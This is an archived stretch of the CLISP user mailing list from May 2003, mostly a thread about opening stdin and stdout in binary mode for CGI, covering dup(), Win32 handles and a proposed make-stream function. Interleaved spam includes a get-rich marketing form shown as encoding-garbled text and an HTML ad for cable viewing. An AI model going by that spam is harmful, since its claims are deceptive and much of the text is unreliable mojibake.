List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 3 18:27:10 2003 X-Original-Date: Sun, 4 May 2003 10:24:21 +0900 $B!c;v6HMM$K%W%l%<%s%H!*1~JgJ}K!$O$3$A$i$+$i$I$&$>(B http://homepage3.nifty.com/gurozawa/ From ampy@ich.dvo.ru Sat May 03 19:27:52 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19C9DK-0004ON-00 for ; Sat, 03 May 2003 19:26:55 -0700 Received: from 212.16.216.87 ([212.16.216.87]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h442PiLE003359; Sun, 4 May 2003 13:25:53 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <27797787.20030504133059@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CGI & binary i/o with stdio In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 3 19:29:46 2003 X-Original-Date: Sun, 4 May 2003 13:30:59 +1000 Hello Sam, Sunday, May 04, 2003, 7:42:00 AM, you wrote: > CMUCL uses something like (fd-to-stream (dup 0)). > but 0/1/2 is a unixism. > Suggestions? Command-line option ? -- Best regards, Arseny From sds@gnu.org Sun May 04 07:27:31 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19CKD9-0003tk-00 for ; Sun, 04 May 2003 07:11:27 -0700 Received: from loiso.podval.org ([68.160.9.251]) by pop017.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030504141121.COUL27254.pop017.verizon.net@loiso.podval.org>; Sun, 4 May 2003 09:11:21 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h44EBo9u007328; Sun, 4 May 2003 10:11:50 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h44EBn8i007324; Sun, 4 May 2003 10:11:49 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CGI & binary i/o with stdio References: <27797787.20030504133059@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <27797787.20030504133059@ich.dvo.ru> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [68.160.9.251] at Sun, 4 May 2003 09:11:20 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 4 07:31:12 2003 X-Original-Date: 04 May 2003 10:11:48 -0400 > * In message <27797787.20030504133059@ich.dvo.ru> > * On the subject of "Re: [clisp-list] CGI & binary i/o with stdio" > * Sent on Sun, 4 May 2003 13:30:59 +1000 > * Honorable Arseny Slobodjuck writes: > > Sunday, May 04, 2003, 7:42:00 AM, you wrote: > > > CMUCL uses something like (fd-to-stream (dup 0)). > > but 0/1/2 is a unixism. > > > Suggestions? > Command-line option ? no - it should be possible to do (with-open-stream (s (open-stdin-in-binary-mode)) ...) that's why I want a dup() there - so that the user will be able to close the stream safely -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Daddy, why doesn't this magnet pick up this floppy disk? From ampy@ich.dvo.ru Sun May 04 14:52:24 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19CRP2-00022g-00 for ; Sun, 04 May 2003 14:52:13 -0700 Received: from ppp112-AS-2.vtc.ru (ppp112-AS-2.vtc.ru [212.16.216.112]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h44LpiLE022966; Mon, 5 May 2003 08:51:51 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1181862858.20030505085659@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] CGI & binary i/o with stdio In-reply-To: References: <27797787.20030504133059@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 4 14:53:13 2003 X-Original-Date: Mon, 5 May 2003 08:56:59 +1000 Hello Sam, Monday, May 05, 2003, 12:11:48 AM, you wrote: >> > CMUCL uses something like (fd-to-stream (dup 0)). >> > but 0/1/2 is a unixism. >> >> > Suggestions? >> Command-line option ? > no - it should be possible to do > (with-open-stream (s (open-stdin-in-binary-mode)) > ...) > that's why I want a dup() there - so that the user will be able to > close the stream safely (coerce s 'binary-terminal-stream) ? I'm full of ideas. Btw the distinction between text and binary modes in lisp is in element-type, right ? -- Best regards, Arseny From sds@gnu.org Sun May 04 15:35:51 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19CS5H-00034y-00 for ; Sun, 04 May 2003 15:35:51 -0700 Received: from loiso.podval.org ([68.160.9.251]) by pop016.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030504223544.DNCP3199.pop016.verizon.net@loiso.podval.org>; Sun, 4 May 2003 17:35:44 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h44Ma99u008204; Sun, 4 May 2003 18:36:09 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h44Ma3co008199; Sun, 4 May 2003 18:36:03 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] CGI & binary i/o with stdio References: <27797787.20030504133059@ich.dvo.ru> <1181862858.20030505085659@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1181862858.20030505085659@ich.dvo.ru> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [68.160.9.251] at Sun, 4 May 2003 17:35:44 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 4 15:36:07 2003 X-Original-Date: 04 May 2003 18:36:03 -0400 Hi Arseny, > * In message <1181862858.20030505085659@ich.dvo.ru> > * On the subject of "Re[2]: [clisp-list] CGI & binary i/o with stdio" > * Sent on Mon, 5 May 2003 08:56:59 +1000 > * Honorable Arseny Slobodjuck writes: > > > (with-open-stream (s (open-stdin-in-binary-mode)) > > ...) > > > that's why I want a dup() there - so that the user will be able to > > close the stream safely > > (coerce s 'binary-terminal-stream) ? I'm full of ideas. we are dealing with a stream opening paradigm. what is a `handle' in win32? is it just a glorified file descriptor (an unsigned int)? in amiga? if yes, we could just allow (open 0 :direction :input :element-type 'unsigned-byte) (but what if the user would do :direction :output?) > Btw the distinction between text and binary modes in lisp is in > element-type, right ? yes. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux nobody's life, liberty or property are safe while the legislature is in session From info74823@mc.point.ne.jp Sun May 04 23:43:42 2003 Received: from mta1.point.ne.jp ([210.188.175.70] helo=mta1p.point.ne.jp) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19CZhM-0002aR-00 for ; Sun, 04 May 2003 23:43:41 -0700 Received: from vc10.point.ne.jp ([211.1.103.138]) by mta1p.point.ne.jp with ESMTP id <20030505064332.MTUF26982.mta1p@vc10.point.ne.jp> for ; Mon, 5 May 2003 15:43:32 +0900 Received: from fvc2-p.point.ne.jp by vc10.point.ne.jp (Scanmail) with ESMTP id 0EE0B2AA0D for ; Mon, 5 May 2003 15:43:32 +0900 (JST) Received: from jointspace ([220.97.27.163]) by fvc2-p.point.ne.jp with SMTP id <20030505064331.HVUJ20751.fvc2-p@jointspace> for ; Mon, 5 May 2003 15:43:31 +0900 From: To: MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-2022-JP" Content-Transfer-Encoding: 7bit Message-Id: <20030505064331.HVUJ20751.fvc2-p@jointspace> Subject: [clisp-list] =?ISO-2022-JP?B?GyRCTCQ+NUJ6OS05cCIoSSw4KyRHJDkbKEI=?= ! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 4 23:44:08 2003 X-Original-Date: Mon, 5 May 2003 15:43:32 +0900 $B!c;v6H; Mon, 05 May 2003 03:01:38 -0700 Received: from ppp142-AS-3.vtc.ru (ppp142-AS-3.vtc.ru [212.16.216.142]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h45A0aLE030226; Mon, 5 May 2003 21:00:42 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <984523093.20030505210555@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] CGI & binary i/o with stdio In-reply-To: References: <27797787.20030504133059@ich.dvo.ru> <1181862858.20030505085659@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 5 03:03:06 2003 X-Original-Date: Mon, 5 May 2003 21:05:55 +1000 Hello Sam, Monday, May 05, 2003, 8:36:03 AM, you wrote: > we are dealing with a stream opening paradigm. > what is a `handle' in win32? > is it just a glorified file descriptor (an unsigned int)? AFAIK, no. To support this: (uint)GetStdHandle(STD_INPUT_HANDLE) == 3 (in my case). > (open 0 :direction :input :element-type 'unsigned-byte) > (but what if the user would do :direction :output?) What about making make-terminal-stream user-level function with parameters (as terminal-stream is not file-stream which open should return) ? What about using *terminal-io* as filename argument to open (barely legal) ? BTW, is *terminal-io* still of strmtype_terminal when io is redirected ? I wasn't able to check it fast - result is confusing. How about changing element-type on-the-fly (setf element-type) ? -- Best regards, Arseny From vampire16845@ispeed.com.tw Mon May 05 06:52:55 2003 Received: from 202-145-99-105.adsl.ttn.net ([202.145.99.105] helo=ispeed.com.tw) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19CgOH-0001RP-00 for ; Mon, 05 May 2003 06:52:27 -0700 From: =?ISO-8859-1?B?uuKpUqRqrnY=?= To: clisp-list@lists.sourceforge.net Reply-To: vampire16845@ispeed.com.tw MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] =?ISO-8859-1?B?p0u2T7riqVI=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 5 06:53:16 2003 X-Original-Date: 05 May 2003 21:52:01 +0800 ¥u­n§A¬O­Ó¤W¯Z±Ú

¥u­n§A¬O­Ó¤W¯Z±Ú:

                (¤u§@8hrs/¤@¤Ñ)*(365¤Ñ)*(30¦~)=(87600hrs/¤@½ú¤l)

         ¦pªG¨C¤p®ÉÁ~¸ê¥u¦³100¤¸ªº¸Ü 100¤¸*87600hrs=8,760,000¤¸/¤@¥Í

                            ¥u¦³200¤¸     200¤¸*87600hrs=17,520,000¤¸/¤@¥Í

                            ¤F¤£°_300¤¸         300¤¸*87600hrs=26,280,000¤¸/¤@¥Í

¦Ó¤@¯ë¤¤°ª¶¥¯Å¥DºÞÁ~¸ê´N¥H50000¤ëÁ~¨Óºâ¨C¤p®É¤]¤£¹L¤~284¤¸

¥u­n§A¬ÝªºÀ´,§A·|µo²{¦Û¤vªº¤@½ú¤l¤w¸g³Q§Úºâ¥X¨Ó¤F

§Aµ´¹ï¤£¥i¯à¶W¹L³o¨Ç¼Æ¦r!

   ¦pªG·Q§ïÅÜ!   ´N¤@©w­n¾Ç·|¦¨¥\ªÌ­P´Iªº¯µ±K

¤¤¤å©m¦W

(½Ð¶ñ¤¤¤å¥þ¦W)

©Ê§O

  

¦~ÄÖ

·³(18·³¥H¤W) 

¬P®y

±B«Ãª¬ªp

  

¾·~

    ¨ä¥¦

Ápµ¸¹q¸Ü : ¥Õ¤Ñ

¦í®a

(½Ð¯d¤j­ô¤j)  

­Ý¾°Ê¾÷

³Ì¤è«KÁpµ¸®É¶¡

  

³Ì¤è«K­±½Í®É¶¡

      

¦a§}

(¥²¶ñÄæ¦ì)

¹q¤l¶l¥ó

«ØÄ³¨Æ¶µ

±z¹ï©ó³sÂê¶W°Ó¨Æ·~ªº³Ð·~·NÄ@¡@§Ú«Ü¦³¿³½ì ¡]Àu¥ý¡^¡@§Úµy·LÁA¸Ñ ¡@§Ú§¹¥þ¤£ÁA¸Ñ

±z­n¿ï¾Ü¦óºØ¤è¦¡¶i¦æ³sÂê¶W°Ó¨Æ·~¡@ ¶Ç²Î¤è¦¡¡@¡@ºô¸ô¤è¦¡

±z¨C¤Ñ¦³¢°¡ã¢±¤p®É¤Wºô®É¶¡¥i¥H¹B§@³sÂê¶W°Ó¨Æ·~¡@§Ú¦³¡@¡@§Ú¨S¦³

±z¬O§_Ä@·N§K¶O±µ¨üºô¸ô¦æ¾P°ª¤â¯S°V¡@§ÚÄ@·N¡@¡@§Ú¤£Ä@·N

             

From lisp-clisp-list@m.gmane.org Mon May 05 10:51:02 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Ck7A-0005ZW-00 for ; Mon, 05 May 2003 10:51:00 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19Ck3T-0007Ar-00 for ; Mon, 05 May 2003 19:47:11 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19CjxJ-0006IW-00 for ; Mon, 05 May 2003 19:40:49 +0200 From: Sam Steingold Organization: disorganization Lines: 39 Message-ID: References: <27797787.20030504133059@ich.dvo.ru> <1181862858.20030505085659@ich.dvo.ru> <984523093.20030505210555@ich.dvo.ru> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 5 10:52:02 2003 X-Original-Date: 05 May 2003 13:42:43 -0400 > * In message <984523093.20030505210555@ich.dvo.ru> > * On the subject of "Re[4]: CGI & binary i/o with stdio" > * Sent on Mon, 5 May 2003 21:05:55 +1000 > * Honorable Arseny Slobodjuck writes: > > AFAIK, no. To support this: > (uint)GetStdHandle(STD_INPUT_HANDLE) == 3 (in my case). yuk - so stdin is not 0?! what are stdout and stderr? > > (open 0 :direction :input :element-type 'unsigned-byte) > > (but what if the user would do :direction :output?) > > What about making make-terminal-stream user-level function with > parameters (as terminal-stream is not file-stream which open should > return) ? good idea! (make-stream object &key &allow-other-keys) will make a stream out of OBJECT (a handle, :INPUT, :OUTPUT, :ERROR, or :IO) with the &key's the same as for OPEN sans :DIRECTION. actually, no, we do need :DIRECTION because there is no way to figure out whether the handle is open for input or output or both. or is there?! > BTW, is *terminal-io* still of strmtype_terminal when io is redirected yes. > How about changing element-type on-the-fly (setf element-type) ? changing the element-type of the terminal i/o on the fly is considered dangerous because it screws up the user interface. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Don't ascribe to malice what can be adequately explained by stupidity. From ampy@ich.dvo.ru Mon May 05 14:11:00 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19CnEZ-00016R-00 for ; Mon, 05 May 2003 14:10:52 -0700 Received: from 212.16.216.95 ([212.16.216.95]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h45LANLF004429 for ; Tue, 6 May 2003 08:10:33 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1311633428.20030506081426@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio In-reply-To: References: <27797787.20030504133059@ich.dvo.ru> <1181862858.20030505085659@ich.dvo.ru> <984523093.20030505210555@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 5 14:11:19 2003 X-Original-Date: Tue, 6 May 2003 08:14:26 +1000 Hello Sam, Tuesday, May 06, 2003, 3:42:43 AM, you wrote: >> AFAIK, no. To support this: >> (uint)GetStdHandle(STD_INPUT_HANDLE) == 3 (in my case). > yuk - so stdin is not 0?! > what are stdout and stderr? 7 and b (3+4, 3+4+4) >> What about making make-terminal-stream user-level function with >> parameters (as terminal-stream is not file-stream which open should >> return) ? > good idea! Thank you! > (make-stream object &key &allow-other-keys) > will make a stream out of OBJECT (a handle, :INPUT, :OUTPUT, :ERROR, or > :IO) with the &key's the same as for OPEN sans :DIRECTION. Cool. But where to get handle in lisp ? > actually, no, we do need :DIRECTION because there is no way to figure > out whether the handle is open for input or output or both. > or is there?! I am not aware of it. -- Best regards, Arseny From sds@gnu.org Mon May 05 15:58:46 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Cov0-0005of-00 for ; Mon, 05 May 2003 15:58:46 -0700 Received: from loiso.podval.org ([68.160.9.251]) by pop017.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030505225839.LMGJ27254.pop017.verizon.net@loiso.podval.org>; Mon, 5 May 2003 17:58:39 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h45MxC9u013171; Mon, 5 May 2003 18:59:12 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h45Mx3kp013167; Mon, 5 May 2003 18:59:03 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio References: <27797787.20030504133059@ich.dvo.ru> <1181862858.20030505085659@ich.dvo.ru> <984523093.20030505210555@ich.dvo.ru> <1311633428.20030506081426@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1311633428.20030506081426@ich.dvo.ru> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [68.160.9.251] at Mon, 5 May 2003 17:58:39 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 5 15:59:14 2003 X-Original-Date: 05 May 2003 18:59:03 -0400 > * In message <1311633428.20030506081426@ich.dvo.ru> > * On the subject of "Re: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio" > * Sent on Tue, 6 May 2003 08:14:26 +1000 > * Honorable Arseny Slobodjuck writes: > > > (make-stream object &key &allow-other-keys) > > will make a stream out of OBJECT (a handle, :INPUT, :OUTPUT, :ERROR, or > > :IO) with the &key's the same as for OPEN sans :DIRECTION. > Cool. But where to get handle in lisp ? linux:open and posix:duplicate-handle. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Failure is not an option. It comes bundled with your Microsoft product. From jhzyibjtg@clear.co.nz Tue May 06 04:46:20 2003 Received: from 12-233-244-164.client.attbi.com ([12.233.244.164] helo=clear.co.nz) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19D0th-0002tC-00; Tue, 06 May 2003 04:46:14 -0700 Message-ID: <702c01c313ba$0e60b710$ae0df7c9@bjdprq> Reply-To: "Melinda" From: "Melinda" To: Cc: , , , , MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_92F_8906_79AC9333.2BBE2FD2" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 Subject: [clisp-list] enhance your cable viewing dramatically Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 6 04:47:10 2003 X-Original-Date: Tue, 06 May 2003 09:27:12 -0100 This is a multi-part message in MIME format. ------=_NextPart_92F_8906_79AC9333.2BBE2FD2 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_92F_8906_79AC9333.2BBE2FD2 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <=21DOCTYPE HTML PUBLIC =22-//W3C//DTD HTML 4.0 Transitional//EN=22>
Find out how you can enhance your digital cable viewing pleasure.  lear= n more
 
 
If you don't want any more emails= from us, <= FONT color=3D=23808080 size=3D1>go here
=
------=_NextPart_92F_8906_79AC9333.2BBE2FD2-- From ampy@ich.dvo.ru Tue May 06 06:54:48 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19D2u3-0007tG-00 for ; Tue, 06 May 2003 06:54:44 -0700 Received: from ppp140-AS-5.vtc.ru (ppp140-AS-5.vtc.ru [212.16.207.140]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h46DrrLF008390; Wed, 7 May 2003 00:53:58 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <19720097098.20030507001858@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio In-reply-To: References: <27797787.20030504133059@ich.dvo.ru> <1181862858.20030505085659@ich.dvo.ru> <984523093.20030505210555@ich.dvo.ru> <1311633428.20030506081426@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 6 06:55:12 2003 X-Original-Date: Wed, 7 May 2003 00:18:58 +1000 Hello Sam, Tuesday, May 06, 2003, 8:59:03 AM, you wrote: >> > (make-stream object &key &allow-other-keys) >> > will make a stream out of OBJECT (a handle, :INPUT, :OUTPUT, :ERROR, or >> > :IO) with the &key's the same as for OPEN sans :DIRECTION. >> Cool. But where to get handle in lisp ? > linux:open and posix:duplicate-handle. Wouldn't it be better to use streams as a source of handles ? I even have written a function for it already (stream_lend_handle). Unfortunately, I see no way to duplicate HANDLE in win32. Of course I can be wrong here, but I have taken a (short) look to dup2 in MS CRT and found support for this. DuplicateHandle creates new handle and it is being written into structure referenced by int handle (remaining the same). Had they been able to duplicate HANDLES they wouldn't have to do it this way. IMHO... -- Best regards, Arseny From sds@gnu.org Tue May 06 07:03:21 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19D32P-0002Dm-00 for ; Tue, 06 May 2003 07:03:21 -0700 Received: from loiso.podval.org ([68.160.9.251]) by out001.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030506140314.YZMX12592.out001.verizon.net@loiso.podval.org>; Tue, 6 May 2003 09:03:14 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h46E3n9u015886; Tue, 6 May 2003 10:03:49 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h46E3mDt015882; Tue, 6 May 2003 10:03:48 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio References: <27797787.20030504133059@ich.dvo.ru> <1181862858.20030505085659@ich.dvo.ru> <984523093.20030505210555@ich.dvo.ru> <1311633428.20030506081426@ich.dvo.ru> <19720097098.20030507001858@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <19720097098.20030507001858@ich.dvo.ru> Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [68.160.9.251] at Tue, 6 May 2003 09:03:14 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 6 07:04:07 2003 X-Original-Date: 06 May 2003 10:03:48 -0400 > * In message <19720097098.20030507001858@ich.dvo.ru> > * On the subject of "Re[2]: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio" > * Sent on Wed, 7 May 2003 00:18:58 +1000 > * Honorable Arseny Slobodjuck writes: > > >> > (make-stream object &key 